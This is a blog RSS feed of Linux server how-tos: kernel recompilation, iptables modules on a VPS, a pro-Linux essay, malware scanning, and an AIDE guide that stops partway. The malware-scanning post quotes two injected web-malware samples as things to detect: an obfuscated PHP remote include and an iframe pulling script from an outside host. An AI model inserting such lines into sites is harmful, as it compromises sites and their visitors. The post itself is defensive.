<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SupportSages &#187; Security</title>
	<atom:link href="http://www.supportsages.com/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.supportsages.com/blog</link>
	<description>Technical Support and Server Management : Musings in the fox hole.</description>
	<lastBuildDate>Fri, 16 Jul 2010 02:47:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to recompile Kernel?</title>
		<link>http://www.supportsages.com/blog/2009/10/how-to-recompile-kernel/</link>
		<comments>http://www.supportsages.com/blog/2009/10/how-to-recompile-kernel/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 08:45:20 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Howtos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cPanel]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=568</guid>
		<description><![CDATA[<strong>Kernel Recompilation</strong>

Compiling custom kernel has its own advantages and disadvantages.  It helps to optimize the 			kernel to your environment (hardware and usage patterns).  I shall try to guide you through Kernel recompilation process.

<strong>Step 1:</strong>

Download the kernel source

<em>cd /usr/local/src </em>

<em>wget  <code>http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2</code></em>

Note: Replace  x.y.z with actual version number.

<strong>Step 2:</strong>

Extract the  source file

<em><code>tar -xjvf </code><code>linux-x.y.z.tar.bz2</code></em>

<strong>Step 3: </strong>

Patching the Kernel

If you are requested to apply any patches , follow these steps

a) Move the downloaded kernel patch to the <code>/usr/local/src</code> directory.

b)  Extract the patch file

c)  Patch the kernel  source using the extracted  patch file

<em>cd /usr/local/src/<code>linux-x.y.z</code></em>

<em> <code>patch -p1 &#60; patchfile-2.2.x</code></em>

Now the  Kernel Source is patched ...]]></description>
			<content:encoded><![CDATA[<p><strong>Kernel Recompilation</strong></p>
<p>Compiling custom kernel has its own advantages and disadvantages.  It helps to optimize the 			kernel to your environment (hardware and usage patterns).  I shall try to guide you through Kernel recompilation process.</p>
<p><strong>Step 1:</strong></p>
<p>Download the kernel source</p>
<p><em>cd /usr/local/src </em></p>
<p><em>wget  <code>http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2</code></em></p>
<p>Note: Replace  x.y.z with actual version number.</p>
<p><strong>Step 2:</strong></p>
<p>Extract the  source file</p>
<p><em><code>tar -xjvf </code><code>linux-x.y.z.tar.bz2</code></em></p>
<p><strong>Step 3: </strong></p>
<p>Patching the Kernel</p>
<p>If you are requested to apply any patches , follow these steps</p>
<p>a) Move the downloaded kernel patch to the <code>/usr/local/src</code> directory.</p>
<p>b)  Extract the patch file</p>
<p>c)  Patch the kernel  source using the extracted  patch file</p>
<p><em>cd /usr/local/src/<code>linux-x.y.z</code></em></p>
<p><em> <code>patch -p1 &lt; patchfile-2.2.x</code></em></p>
<p>Now the  Kernel Source is patched against known  vulnerabilities.</p>
<p><strong>Step 4:</strong></p>
<p>Configuration</p>
<p>If you are trying to upgrade the Kernel of already running server , it is always better use the existing configuration. To do this follow these steps</p>
<p><em> #uname -a</em><br />
Linux  Server1  2.6.18-164.el5 #1 SMP Thu Sep 3 03:28:30 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux</p>
<p><em># cd /boot</em></p>
<p>There you can see different configuration files as given below</p>
<p><em>#ls</em></p>
<p>config-2.6.18-128.el5    initrd-2.6.18-128.el5.img  message<br />
config-2.6.18-164.el5     initrd-2.6.18-164.el5.img  quota.user*</p>
<p>identify the configuration file corresponding to the version of OS installed , In our case it is config-2.6.18-164.el5 . We are  copying this file to the downloaded kernel source  to use it during configuration.</p>
<p><em>#cp -p config-2.6.18-164.el5 /usr/local/src/linux-x.y.z/.config</em></p>
<p><em># make clean </em></p>
<p><em># make mrproper </em></p>
<p><em><code># make menuconfig</code></em></p>
<p>You have to select different options as per your need.   If you  intended to use the existing configuration ,specify the path to the file  ( .config in this case) by selecting the option</p>
<p><strong>&#8220;Load an Alternative configuration file&#8221;</strong></p>
<p><strong>Step 5: Compilation </strong></p>
<p>Compile the Kernel using the following commands</p>
<p>Compile to create a  compressed kernel image</p>
<p><em># make </em></p>
<p>Compile  kernel modules:</p>
<p><em>#<code> make modules </code></em></p>
<p>Install kernel modules</p>
<p><em><code>#  make modules_install</code></em></p>
<p><strong>Step 6: Install Kernel </strong></p>
<p>If the above steps completed without any errors , now its the time to Install the new Kernel</p>
<p><em> <code># make install </code></em></p>
<p>It will install three files into /boot directory as well as modification to your kernel grub configuration file:</p>
<p>System.map-x.y.z</p>
<p>config-x.y.z</p>
<p>vmlinuz-x.y.z</p>
<p><strong>Step 7:  Create the Initrd image </strong></p>
<p>Type the following command  :</p>
<p><em><code># cd /boot</code></em></p>
<p><em># <code> mkinitrd -o initrd.img-x.y.x  x.y.z</code></em></p>
<p>initrd images contains device driver which needed to load rest of the operating system later on. Not all computer requires it, but it is  better  to create one</p>
<p><strong>Step 8: Boot Loader Modification </strong></p>
<p>Mofdify the boot loader to boot the new OS as default . Check the documentaions corresponding to your boot loader</p>
<p><strong>Step 9: The last step </strong></p>
<p>execute the following command</p>
<p><em>#reboot </em></p>
<p>Wait a few minutes and once it is up , you can see that the new Kernel is loaded <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=How+to+recompile+Kernel%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F568" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+recompile+Kernel%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F568" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/10/how-to-recompile-kernel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to enable IPtable modules on a VPS</title>
		<link>http://www.supportsages.com/blog/2009/08/how-to-enable-iptable-modules-on-a-vps/</link>
		<comments>http://www.supportsages.com/blog/2009/08/how-to-enable-iptable-modules-on-a-vps/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 05:19:26 +0000</pubDate>
		<dc:creator>Fabian</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[enable iptable modules for VPS]]></category>
		<category><![CDATA[VPS iptable modules]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=520</guid>
		<description><![CDATA[Before trying to enable iptable modules on the VPS, make sure that those modules are enabled on the root node server. To check whether the particular iptable modules are enabled or not on the root node, execute the following command.
<blockquote>lsmod</blockquote>
A Sample out put for the lsmod is :
<blockquote>Module                  Size  Used by
xt_helper              35584  0
ip_conntrack_ftp       42320  2
ipt_LOG                39808  0
ipt_owner              34944  0
ipt_REDIRECT           34944  0
ipt_recent             43404  2
xt_state               35200  5
sch_sfq                38912  1
cls_u32                41352  1
sch_cbq                50688  1
ppp_deflate            39168  0
zlib_deflate           52760  1 ppp_deflate
ppp_async              45184  0
ppp_generic            62624  2 ppp_deflate,ppp_async
slhc                   39552  1 ppp_generic
crc_ccitt              35200  1 ppp_async
tun                    47872  0
vzethdev               47264  0
simfs                  38296  36
vzrst                 173096  0
vzcpt                 148792  0
vzdquota               78832  36 [permanent]
xt_tcpudp              ...]]></description>
			<content:encoded><![CDATA[<p>Before trying to enable iptable modules on the VPS, make sure that those modules are enabled on the root node server. To check whether the particular iptable modules are enabled or not on the root node, execute the following command.</p>
<blockquote><p>lsmod</p></blockquote>
<p>A Sample out put for the lsmod is :</p>
<blockquote><p>Module                  Size  Used by<br />
xt_helper              35584  0<br />
ip_conntrack_ftp       42320  2<br />
ipt_LOG                39808  0<br />
ipt_owner              34944  0<br />
ipt_REDIRECT           34944  0<br />
ipt_recent             43404  2<br />
xt_state               35200  5<br />
sch_sfq                38912  1<br />
cls_u32                41352  1<br />
sch_cbq                50688  1<br />
ppp_deflate            39168  0<br />
zlib_deflate           52760  1 ppp_deflate<br />
ppp_async              45184  0<br />
ppp_generic            62624  2 ppp_deflate,ppp_async<br />
slhc                   39552  1 ppp_generic<br />
crc_ccitt              35200  1 ppp_async<br />
tun                    47872  0<br />
vzethdev               47264  0<br />
simfs                  38296  36<br />
vzrst                 173096  0<br />
vzcpt                 148792  0<br />
vzdquota               78832  36 [permanent]<br />
xt_tcpudp              36224  21<br />
xt_length              34944  0<br />
ipt_ttl                34816  0<br />
xt_tcpmss              35328  0<br />
ipt_TCPMSS             37248  0<br />
iptable_mangle         37888  36<br />
xt_multiport           36224  0<br />
xt_limit               36352  4<br />
ipt_tos                34560  0<br />
ipt_REJECT             39556  1<br />
iptable_nat            43532  46<br />
ip_nat                 53392  3 ipt_REDIRECT,vzrst,iptable_nat<br />
iptable_filter         37760  42<br />
ip_conntrack          100884  29 xt_helper,ip_conntrack_ftp,xt_state,vzrst,vzcpt,iptable_nat,ip_nat<br />
nfnetlink              40392  2 ip_nat,ip_conntrack<br />
ip_tables              57440  3 iptable_mangle,iptable_nat,iptable_filter<br />
x_tables               52744  17 xt_helper,ipt_LOG,ipt_owner,ipt_REDIRECT,ipt_recent,xt_state,xt_tcpudp,xt_length,ipt_ttl,xt_tcpmss,ipt_TCPMSS,xt_multiport,xt_limit,ipt_tos,ipt_REJECT,iptable_nat,ip_tables<br />
autofs4                57480  2<br />
hidp                   83584  2<br />
rfcomm                105000  0</p></blockquote>
<p>Here we can see most of the modules are already enabled on the node server. If not enabled, execute the following commands one by one to enable those.</p>
<blockquote><p>modprobe ipt_helper<br />
modprobe ipt_REDIRECT<br />
modprobe ipt_state<br />
modprobe ipt_TCPMSS<br />
modprobe ipt_LOG<br />
modprobe ipt_TOS<br />
modprobe iptable_nat<br />
modprobe ipt_length<br />
modprobe ipt_tcpmss<br />
modprobe iptable_mangle<br />
modprobe ipt_limit<br />
modprobe ipt_tos<br />
modprobe iptable_filter<br />
modprobe ipt_helper<br />
modprobe ipt_tos<br />
modprobe ipt_ttl<br />
modprobe ipt_REJECT<br />
modprobe ipt_helper<br />
modprobe ipt_owner</p></blockquote>
<p>Next step is to enable these modules on the VPS.</p>
<p>Stop the container first :  vzctl stop 960 ( replace 960 with the concerned VPS ID )</p>
<p>Execute the following command :</p>
<blockquote><p>vzctl set 960 &#8211;iptables ipt_REJECT &#8211;iptables ipt_tos &#8211;iptables ipt_TOS &#8211;iptables ipt_LOG &#8211;iptables ip_conntrack &#8211;iptables ipt_limit &#8211;iptables ipt_multiport &#8211;iptables iptable_filter &#8211;iptables iptable_mangle &#8211;iptables ipt_TCPMSS &#8211;iptables ipt_tcpmss &#8211;iptables ipt_ttl &#8211;iptables ipt_length &#8211;iptables ipt_state &#8211;iptables iptable_nat &#8211;iptables ip_nat_ftp &#8211;iptables ip_conntrack_ftp &#8211;iptables ip_conntrack_irc &#8211;iptables ip_nat_irc &#8211;iptables ipt_owner &#8211;iptables ipt_helper &#8211;save</p></blockquote>
<p>Start the container : vzctl start 960</p>
<p>check whether the modules are enabled from the configuration file cat /etc/vz/conf/960.conf. You are DONE.</p>
<p>Please note that if the command &#8220;vzctl set 960 &#8211;iptables ipt_ &#8230;.&#8221; is executed for the second time for the same VPS, it will over write the previous configuration.</p>
<p><strong>For enabling it on all VPSes, please add to /etc/sysconfig/vz all those modules like IPTABLES=&#8221;module1 module2 &#8230;.etc&#8221;</strong></p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=How+to+enable+IPtable+modules+on+a+VPS++http%3A%2F%2Fwww.supportsages.com%2Fblog%2F520" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+enable+IPtable+modules+on+a+VPS++http%3A%2F%2Fwww.supportsages.com%2Fblog%2F520" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/08/how-to-enable-iptable-modules-on-a-vps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 2 Why Linux is important?</title>
		<link>http://www.supportsages.com/blog/2009/05/chapter-2-why-linux-is-important/</link>
		<comments>http://www.supportsages.com/blog/2009/05/chapter-2-why-linux-is-important/#comments</comments>
		<pubDate>Sun, 03 May 2009 10:26:36 +0000</pubDate>
		<dc:creator>Fabian</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Training]]></category>
		<category><![CDATA[advantages of linux]]></category>
		<category><![CDATA[features of linux]]></category>
		<category><![CDATA[linux freedom]]></category>
		<category><![CDATA[security in linux]]></category>
		<category><![CDATA[user and linux]]></category>
		<category><![CDATA[why linux]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=214</guid>
		<description><![CDATA[<p style="text-align: left;">Linux has its own importance nowadays days due to the following reasons, which other OS's may not have !</p>

<ol>
	<li><strong>Freedom's in Linux :-</strong></li>
<p style="text-align: left;">If you have been following the Open Source movement, you know I am not talking about the price of the software when I say freedom.</p>

Free not as in free drinks. But Free as in Freedom or Free speech. In most cases, you get free drinks though :-)

Freedom 0 - The freedom to run the program, for any purpose :-
Yes, the users have the freedom to run the program for any purposes like software development, animation, ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Linux has its own importance nowadays days due to the following reasons, which other OS&#8217;s may not have !</p>
<ol>
<li><strong>Freedom&#8217;s in Linux :-</strong></li>
<p style="text-align: left;">If you have been following the Open Source movement, you know I am not talking about the price of the software when I say freedom.</p>
<p>Free not as in free drinks. But Free as in Freedom or Free speech. In most cases, you get free drinks though <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Freedom 0 &#8211; The freedom to run the program, for any purpose :-<br />
Yes, the users have the freedom to run the program for any purposes like software development, animation, designing, desktops etc. We can run the program without any prior license from any authorities.</p>
<p>Freedom 1 &#8211; The freedom to study.<br />
In Linux we have got the freedom to study how the program works, and adapt it according to our needs. Access to the source code is a precondition for this, which is allowed in Linux.</p>
<p>Freedom 2 &#8211; The freedom to redistribute the copies.<br />
We can distribute our copy of linux through dvd&#8217;s, pen-drives etc, so that we can help our neighbor &amp; fellow human beings.</p>
<p>Freedom 3 &#8211; The freedom to improve the program.<br />
Since we have the access to the source code, we can modify it and release our improvements to the public, so that the whole community benefits.</p>
<p>A program is free software if users have all of these freedoms.</p>
<p>And for a desktop user, most importantly, the freedom from viruses, as long as you use the software downloaded from the software repository of your OS <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<li><strong>Multi-User Environment:-</strong></li>
<p>Linux supports multi-user enviornment, ie several users are allowed to login to the same system with different permissions.</p>
<li><strong>Potability :-</strong></li>
<p>Linux is  portable. It is possible to reuse the existing code instead of creating new code when moving software from an environment to another. The portability is the key issue for development cost reduction.</p>
<li><strong>Intimate knowledge of the hardware :-</strong></li>
<p>Noting better than Linux to know your machine&#8217;s hardware information. A detailed information could be seen using a command &#8216;lspci&#8217;.(use option -vvv for more detailed info)</p>
<blockquote><p>supportsage@supportsage-desktop:~$ lspci<br />
00:00.0 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.1 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.2 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.3 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.4 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.7 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:01.0 PCI bridge: VIA Technologies, Inc. VT8237 PCI bridge [K8T800/K8T890 South]<br />
00:0f.0 IDE interface: VIA Technologies, Inc. VIA VT6420 SATA RAID Controller (rev 80)<br />
00:0f.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06)<br />
00:10.0 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.1 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.2 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.3 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.4 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 86)<br />
00:11.0 ISA bridge: VIA Technologies, Inc. VT8237 ISA bridge [KT600/K8T800/K8T890 South]<br />
00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60)<br />
00:12.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 78)<br />
00:18.0 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] HyperTransport Technology Configuration<br />
00:18.1 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map<br />
00:18.2 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller<br />
00:18.3 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control<br />
01:00.0 VGA compatible controller: VIA Technologies, Inc. S3 Unichrome Pro VGA Adapter (rev 01)</p></blockquote>
<p>An example for more detailed hardware information is given below.</p>
<blockquote><p>supportsage@supportsage-desktop:~$ lspci -vvv<br />
00:00.0 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
Subsystem: VIA Technologies, Inc. K8M800 Host Bridge<br />
Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B-<br />
Status: Cap+ 66MHz+ UDF- FastB2B- ParErr- DEVSEL=medium &gt;TAbort- &lt;TAbort- &lt;MAbort+ &gt;SERR- &lt;PERR-<br />
Latency: 8<br />
Region 0: Memory at e8000000 (32-bit, prefetchable) [size=128M]<br />
Capabilities: &lt;access denied&gt;</p></blockquote>
<li><strong>No BSOD &#8211; Blue Screen of Death :-</strong></li>
<p>The BSOD is a colloquialism used for the error screen displayed by some other operating systems. And a Linux based system is free from this.</p>
<li><strong>Upgradeability :-</strong></li>
<p>The Linux systems could be upgraded quite easily, with the help of on-line repositories. Upgradation is possible without any changes in the system configuration and saved data&#8217;s.</p>
<li><strong>Customization :-</strong></li>
<p>Linux machine can be easily customised accourding to the user expectations. I leave , how to customise Linux to your imagination.</p>
<li><strong>Security &#8211; viruses, worms and trojans :-</strong></li>
<p>Linux machines are well known for its security. 65% of the server are running on Linux based machines. Linux machines are very less infected by viruses, worms and trojans.</p>
<li><strong>Maturity &#8211; Stable, Reliable and Extremely powerful :-</strong></li>
<p>Another fine reason for using server&#8217;s based on Linux is its &#8217;stability&#8217; &amp; &#8216;reliability&#8217;. No reboot is needed, except for kernel upgrades. OS like windows XP need a reboot, even a new application software is installed.</p>
<li><strong>Support :-</strong></li>
<p>You can get support for Linux from millions of forums, live IRC&#8217;s and even from your local LUG(Linux User Group). All are there to help you <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<li><strong>Complete development environment :-</strong></li>
<p>A C compiler for Windows alone would set you back hundreds of dollars. Whereas in Linux, most of the development libraries like gcc, perl, python, javac etc comes built-in.</ol>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=Chapter+2+Why+Linux+is+important%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F214" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=Chapter+2+Why+Linux+is+important%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F214" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/05/chapter-2-why-linux-is-important/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to do virus scan on Linux servers ?</title>
		<link>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/</link>
		<comments>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 12:09:42 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=73</guid>
		<description><![CDATA[Do you really need to do virus scan on Linux servers ? Sometimes yes. With the recent high level of iframe/php include/js injections, it seems we need to scan the pages for iframe injections, like below

<blockquote>
<code>< ? php include(urldecode("%68%74%74%70%3a%2f%2f%62%75%79%34%6d%65%2e%69%6e%66%6f%2f%73%63%72%2f%31%30%2e%74%78%74")); ? >
< iframe src=http://ms.nesseseni.cn/src.js >< /iframe ></code></blockquote>

Below are a few URLs which could help you in the process 

<a href="http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com">http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com</a>
<a href="http://www.malwaredomains.com/">http://www.malwaredomains.com/</a>
<a href="http://www.malwaredomainlist.com/mdl.php">http://www.malwaredomainlist.com/mdl.php</a> - A regularly updated list.

You can install clamav antivirus which is open source and do a clamav scan to make sure that the website is not affected. On a cPanel server, the below command will scan the entire website ...]]></description>
			<content:encoded><![CDATA[<p>Do you really need to do virus scan on Linux servers ? Sometimes yes. With the recent high level of iframe/php include/js injections, it seems we need to scan the pages for iframe injections, like below</p>
<blockquote><p>
<code>< ? php include(urldecode("%68%74%74%70%3a%2f%2f%62%75%79%34%6d%65%2e%69%6e%66%6f%2f%73%63%72%2f%31%30%2e%74%78%74")); ? ><br />
< iframe src=http://ms.nesseseni.cn/src.js >< /iframe ></code></p></blockquote>
<p>Below are a few URLs which could help you in the process </p>
<p><a  href="http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com">http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com</a><br />
<a  href="http://www.malwaredomains.com/">http://www.malwaredomains.com/</a><br />
<a  href="http://www.malwaredomainlist.com/mdl.php">http://www.malwaredomainlist.com/mdl.php</a> &#8211; A regularly updated list.</p>
<p>You can install clamav antivirus which is open source and do a clamav scan to make sure that the website is not affected. On a cPanel server, the below command will scan the entire website files of each users.</p>
<blockquote><p>clamscan -i -r &#8211;remove /home/*/public_html/</p></blockquote>
<p>Why would I recommend clamav over other paid antivirus ? For obvious reasons that you can edit ClamAV rules to include more iframe detection rules. Just write a new regex rules in the clamav virus DBs and you have the situation under control, at least for those matching iframe codes.</p>
<p>Other solution would be mod_security 2.5 that could help preventing the page alteration using SQL injection and javascript injection and threats detailed in <a  href="http://www.gnucitizen.org/blog/atom-2/">http://www.gnucitizen.org/blog/atom-2/</a></p>
<p>Here I was talking about server security. Once infected, there are a few things client has to do as well.</p>
<p>   1. Scan your machine as well as your webmaster&#8217; with anti-virus and anti-spyware tools.<br />
   2. Once you are sure your computer is clean, change all site passwords. (You might want to change computer and network passwords too.)<br />
   3. Now keep the new passwords secure.<strong> Don’t use auto-upload features</strong> of your WYSIWYG editors or in your FTP browsers. Enter passwords every time you upload new content instead. Use SFTP instead of FTP if possible. Only a few hosts offer sftp though.<br />
   4. If your site was flagged by Google at http://www.google.com/safebrowsing/diagnostic , request a malware review via Webmaster Tools.<br />
   5. Regularly check your site with diagnostics tools of your choice (like <a  href="http://unmaskparasites.com/">Unmask Parasites</a> ) to be sure your site is clean.</p>
<p align="left"><a  class="tt" href="http://twitter.com/home/?status=How+to+do+virus+scan+on+Linux+servers+%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F73" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/tt-twitter.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+do+virus+scan+on+Linux+servers+%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F73" title="Post to Twitter">Tweet This Post</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AIDE to aid your server security needs</title>
		<link>http://www.supportsages.com/blog/2009/04/securing-your-server-with-aide/</link>
		<comments>http://www.supportsages.com/blog/2009/04/securing-your-server-with-aide/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 13:51:16 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[AIDE]]></category>
		<category><![CDATA[Howtos]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=61</guid>
		<description><![CDATA[<strong>A note on Intrusion Detection System
</strong>An Intrusion detection system (or IDS) is a software or hardware designed to detect unwanted attempts at accessing, manipulating, and/or disabling of computer systems through a network. Some of the best IDS applications know are Snort, Untangle, Tripwire, AIDE etc. Among the simplest to configure and use is AIDE.

<strong>What is AIDE
</strong>AIDE (Advanced Intrusion Detection Environment) is an intrusion detection program. It is a free replacement for Tripwire. AIDE constructs a database of the files specified in AIDE's configuration file. The AIDE database stores various file attributes like permissions, inode number, user, group, file size, mtime ...]]></description>
			<content:encoded><![CDATA[<p><strong>A note on Intrusion Detection System<br />
</strong>An Intrusion detection system (or IDS) is a software or hardware designed to detect unwanted attempts at accessing, manipulating, and/or disabling of computer systems through a network. Some of the best IDS applications know are Snort, Untangle, Tripwire, AIDE etc. Among the simplest to configure and use is AIDE.</p>
<p><strong>What is AIDE<br />
</strong>AIDE (Advanced Intrusion Detection Environment) is an intrusion detection program. It is a free replacement for Tripwire. AIDE constructs a database of the files specified in AIDE&#8217;s configuration file. The AIDE database stores various file attributes like permissions, inode number, user, group, file size, mtime and ctime, atime, growing size, number of links and link name. AIDE also creates a cryptographic checksum or hash of each file using message digest algorithms like sha, md5, rmd160, tiger etc. Also acl, xattr and selinux can be used if enabled during compile time.</p>
<p>Initially the administrator has to create an AIDE database on a new server before it is setup for networking or business (eg hosting). This AIDE database is a summary of the system in it&#8217;s normal state.It will hold information about system binaries, libraries, header files etc that are expected to remain the same over time.</p>
<p>Suppose someone has broken-into the system, though it is easier to manipulate file dates, sizes etc, it will be quite difficult for him to manipulate cryptographic checksum like md5. Thus by rerunning AIDE after a break-in, the administrator can quickly identify changes to files with high degree of accuracy.</p>
<p><strong>AIDE Compilation</strong><br />
Some of the prerequisites (packages) for AIDE are:</p>
<ul>
<li> GCC compiler for C (gcc)</li>
<li> GNU Flex (flex)</li>
<li> GNU Bison (bison)</li>
<li> GNU Make (make)</li>
<li> Mhash library (libmhash2 and libmhash-dev)</li>
<li> PostgreSQL Development Library (postgresql-server-dev)</li>
</ul>
<p><strong>Simple instructions using Ubuntu<br />
</strong>Firstly become root by using the given command and then supplying your password:<br />
<em>sudo su -</em></p>
<p>For each prerequisite (say package gcc) search if it is installed or not by:<br />
<em>dpkg &#8211;get-selections|grep gcc</em></p>
<p>If you get:<br />
<em>gcc-4.3        install</em><br />
then gcc is installed otherwise if you get no output then it means that gcc is not installed.</p>
<p>If the package gcc is not installed then use:<br />
<em>sudo apt-get install gcc </em></p>
<p>Once all the packages are installed then download aide from sourceforge.net/projects/aide. It will be a gzipped tar archive.</p>
<p>create a folder packages and extract the tar achieve in this folder using the command:<br />
<em>tar -xzvf aide-x.xx.x.tar.gz</em> (replace x with version number)<br />
now a folder by name aide-x.xx.x will be created</p>
<p>go inside that folder by:<br />
<em>cd aide-x.xx.x</em></p>
<p>now execute:<br />
<em>./configure<br />
make<br />
make install<br />
make clean</em></p>
<p>open the aide config file and determine where the aide database is stored. Go to that location</p>
<p>To initialise the database perform:<br />
<em>aide -i</em><br />
<em>mv aide.db.new aide.db</em><br />
then to check if aide works execute:<br />
<em>aide </em></p>
<p><strong>Configuration of AIDE</strong><br />
AIDE has its config file located inside (if installed via package management software like synaptic, config file is /etc/aide/aide.conf) /usr/local/etc/aide.conf .<br />
And it&#8217;s default executable is located inside /usr/local/bin/aide.</p>
<p><strong>Explanation of the aide.conf file</strong></p>
<p><em> database=file:/var/lib/aide/aide.db<br />
</em>location of the database to be read (This is the database taken as benchmark)</p>
<p><em> database_new=file:/var/lib/aide/aide.db.comp<br />
</em>location of the database for &#8211;compare is read (This is not present by default and is used only when we have to compare two distinct databases.)</p>
<p><em> database_out=file:/var/lib/aide/aide.db.new<br />
</em>location of the database to be written</p>
<p>AIDE uses a set of rules to determine what to check for within a particular file or directory. This is found inside aide.conf. These rules are also called groups.</p>
<p>#p:      permissions<br />
#i:      inode<br />
